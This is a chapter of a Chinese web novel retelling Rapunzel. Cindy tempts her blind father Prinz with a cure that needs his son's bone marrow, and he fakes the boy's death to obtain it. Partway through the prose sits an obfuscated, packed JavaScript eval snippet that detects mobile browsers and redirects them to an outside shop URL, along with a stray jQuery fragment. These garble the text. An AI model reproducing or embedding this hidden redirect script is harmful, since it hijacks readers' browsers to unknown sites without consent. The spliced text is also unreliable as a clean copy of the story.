在侍女断断续续的讲述中,辛蒂了解到她的名字叫克拉拉,她遭到了普林兹的厌弃,只因为她在工作的时候和同伴的说笑被普林兹听到了。
当时克拉拉被同伴夸赞道:“你的双眼就像天上的星星一样明亮美丽。”
普林兹因为自己的缺陷,忌讳所有人在他的面前提到“眼睛”、“看见”之类的词语,这次也不例外。
他当即脸色就阴沉下来,他身边的丝黛拉很有眼色的呵斥了两个侍女,特意吩咐让“有着星星一样的眼睛”的克拉拉从原本的高级侍女变成了干粗活的低等女仆。
克拉拉确实有着一双美丽的眼睛,她的同伴说的是实话,她的遭遇令人同情。
因为这件事,克拉拉现在每天都要做最累的活,一双原本纤细的手如今每个指头都肿得像个萝卜一样。
她内心的委屈无人可以诉说,这才偷偷找了个没人的地方哭泣,打扰了辛蒂的安眠。
克拉拉抽抽嗒嗒地讲完自己的事,忽然觉得有些不好意思,让尊贵的小姐听她发了这么久的牢骚。
辛蒂一开始确实觉得不耐烦,一度想要打断克拉拉。不过听到后面她认真起来,不是因为同情,而是她想到了一个加速拉潘泽尔和普林兹情感破裂的好主意。
普林兹这么在乎他的眼睛,不知道比起他的妻子和孩子来说,哪个更重要?
不像辛蒂和博伊的残疾是因为诅咒,几乎没有法术可以暴力解决。
普林兹的眼睛想要治好,用魔法的手段是完全可以做到的。
在不介意帮助普林兹的时候,辛蒂并不知道相关魔法的存在,现在她知道有这种魔法,还能找个巫师帮忙,可是她已经不愿意这么做了。
辛蒂决定给普林兹一点希望,只看他如何取舍。
不久后,一位着黑袍的巫师找到普林兹,声称自己可以治好普林兹的眼睛,还答应报酬可以等普林兹登上王位后再进行支付。
普林兹如何高兴不提,最紧张的是恩斯特以及大臣达瓦,前者担心王位,后者忧心权力。
原本敌对的两方不约而同地派出了人手,或威逼或利诱希望能阻止这位巫师帮助普林兹。
可是不管什么手段这位巫师都不为所动,这些人反而替普林兹证明了巫师货真价实,不是什么来路不明的骗子。
普林兹放心地接受了巫师的治疗,巫师确实没有说假话,一段时间的治疗后,通过旁人的印证,普林兹确定自己原本已经萎缩的眼球重新饱满了起来。
虽然普林兹还是看不见,从外表上,他已经和常人无异。
普林兹激动地等待着后续的治疗,可是这时,巫师却告诉他,“最后一个疗程需要你亲子的骨血。”
所谓骨血,就是骨髓,失去了骨髓的人必定活不下来,这和要命没什么区别。
普林兹僵在了原地,就在巫师以为他要放弃的时候,他开口道:“我需要考虑考虑。”
一般而言,一个人说他要考虑一件事的时候,他已经有了至少百分之五十的意愿,要考虑的无非就是这么做了以后的得失以及后果。
到这里,辛蒂已经给普林兹判下了死刑。
这位巫师就是奥托,辛蒂认识的巫师不多,思来想去只能让奥托帮她。
这样的行为并不符合魔法协会的内部规定,辛蒂答应支付给他一大笔积分,且还要再德赫克瑟面前替他说好话,奥托这才答应下来。
这样的试探确实不够光明磊落,却很有效。要是普林兹坚定地拒绝奥托,辛蒂或许会让奥托帮他治好眼睛。
但要是他选择了用博伊或者她的生命来换他的眼睛,那辛蒂会让拉潘泽尔目睹这一切,让她认识到普林兹是一个多么自私的人。
这或许对拉潘泽尔来说太过于残忍,只有这样的残忍,才会让她真正放弃普林兹。辛蒂冷漠地想。
普林兹没有让辛蒂等待太久——他急着让自己重获光明。
三天后他告诉男巫奥托,他想好了,他决定牺牲博伊治好他的眼睛。
他计划得很好,他会借故带着博伊出门,回家后他会告诉拉潘泽尔博伊失足掉下悬崖。
拉潘泽尔固然会伤心,没关系,这不过是短暂的悲伤,未来他们会拥有长久的幸福。他相信他们还会有别的,健康的孩子,还有他复明的喜讯足以抚平一切。
至于博伊,要怪就怪他命不好吧,瞎着眼活在这个世界上又有什么意思,他只是帮他早日脱离苦海。
只可惜辛蒂加入了魔法协会,否则这个不亲近他的女儿才是最好的人选,他把他们带到这个世界上,孩子为父亲做点什么也是应该的。
在内心极其隐秘的角落里,他未尝不认为这是拉潘泽尔对他的补偿,牺牲一个博伊,他的眼睛就能恢复,从前的芥蒂尽数消失,他和拉潘泽尔就能回到以前那样的亲密无间。
他心知肚明拉潘泽尔没有以前快乐了,只要他复明,他一定会对她像以前那样好的,以后他们仍然会辛福快乐地生活在一起。
于是在一个阳光明媚的日子里,普林兹忽然向拉潘泽尔道歉,为他这段时间忽视了她和博伊。
拉潘泽尔几乎喜极而泣,她已经受到了丈夫许久的冷落,每次她都安慰自己是因为普林兹太忙了,而她几乎没有任何能帮上普林兹的地方,她反而会因此而愧疚。
现在普林兹又变回了以前那个好丈夫,拉潘泽尔连日的阴霾顿时一扫而空。
在普林兹最后提出要带着博伊一起出门游玩,修复父子感情的时候,拉潘泽尔不疑有他,高兴地答应了。
博伊好久都没有出门了,听到普林兹要带他出去一定也很高兴。
接下来的发展完全按照普林兹写好的剧本那样,早上还因为丈夫的变化喜悦的拉潘泽尔晚上就收到了儿子掉下悬崖身亡的消息。
看着那具血肉模糊,看不出本来面目的尸体,拉潘泽尔只能通过她亲手编织的衣服来辨认这就是她体贴懂事的小博伊。
对于拉潘泽尔来说,接下来的日子是暗无天日的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098201|190134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她亲手将她的博伊送入了坟墓,就算是普林兹每天体贴备至地关怀她也不能让她的悲伤稍稍纾解。
她甚至觉得普林兹假惺惺的,不管是对博伊的死表现出来的悲痛还是对她的关心,都刻意极了。
拉潘泽尔知道自己这是在迁怒普林兹,她很难对此没有丝毫怨恨,她不止一次地想着,要是她那天跟着去是不是就不会出事?要是普林兹小心些博伊是不是现在还是活泼健康的?
不管怎么样这已经是既定的事实,拉潘泽尔呆坐在博伊的坟前,心如刀绞,从听到死讯后的那一刻起,这样的痛苦就一直伴随着她。
普林兹说他们以后还会有更多的,健康的孩子。
拉潘泽尔听懂了他的重点,「健康的」,她知道普林兹一直都嫌弃博伊看不见。
普林兹他,不会是故意的吧,故意让使他丢脸的孩子死去——这是拉潘泽尔生平第一次对他人产生这样恶意的揣测。
浑浑噩噩中,拉潘泽尔不知道时间过去了多久,这天普林兹告诉她他要外出一趟,拉潘泽尔毫不在意地点点头。
随便他去哪,普林兹每天都在劝说她离开博伊的坟前,振作起来,她听在耳中只觉得刺耳,博伊才死去多久,普林兹就这样一副迫不及待迎接新生活的样子。
他走吧,最好走得远远的,让她能安安静静地陪着博伊。
这注定是波澜的一天,拉潘泽尔的安宁没有持续多久,忽然有个侍女出现,她记得这是普林兹身边服侍的人。
侍女语气急促道:“夫人,博伊少爷还活着!”
什么?拉潘泽尔的眼睛忽地睁大,继而又变回了之前的暗淡。
“别戏弄我了,我亲手将博伊放到了棺材里,他怎么可能还活着。”
“哎呀我没有说谎,不信您跟着我去看看。”
怀揣着隐约的希望,拉潘泽尔跟随着侍女的脚步,二人七绕八绕地来到了城中一处民宅里。
在这里,透过窗户的缝隙,拉潘泽尔真的看见了被绑起来昏迷不醒的博伊!
拉潘泽尔死死捂住自己的嘴,不敢相信她的眼睛,她亲爱的孩子竟然真的还活着,她能看到博伊的面色红润,胸膛一起一伏,显然还活得好好的!
拉潘泽尔立时就想冲进去带走博伊,这时外面忽然传来人声,侍女拉着拉潘泽尔藏了起来。
“阁下,最后一个疗程需要的材料我已经准备好了,就在里面,我们随时可以开始。”
拉潘泽尔听出了这是普林兹的声音,她知道有个巫师正在为他治疗眼睛,材料?拉潘泽尔有种不好的预感。
巫师喑哑的声音响起,几乎听不出是男是女:“确定是你的血脉吗?这不容有失。”
“请阁下放心,我不会拿自己的眼睛开玩笑。”
普林兹的声音中带着强行压抑的狂喜,显然他很期待恢复光明,即使代价是自己的儿子。
拉潘泽尔只觉得浑身的血液都冷却了下来,太荒谬了,普林兹他,竟然要杀死博伊?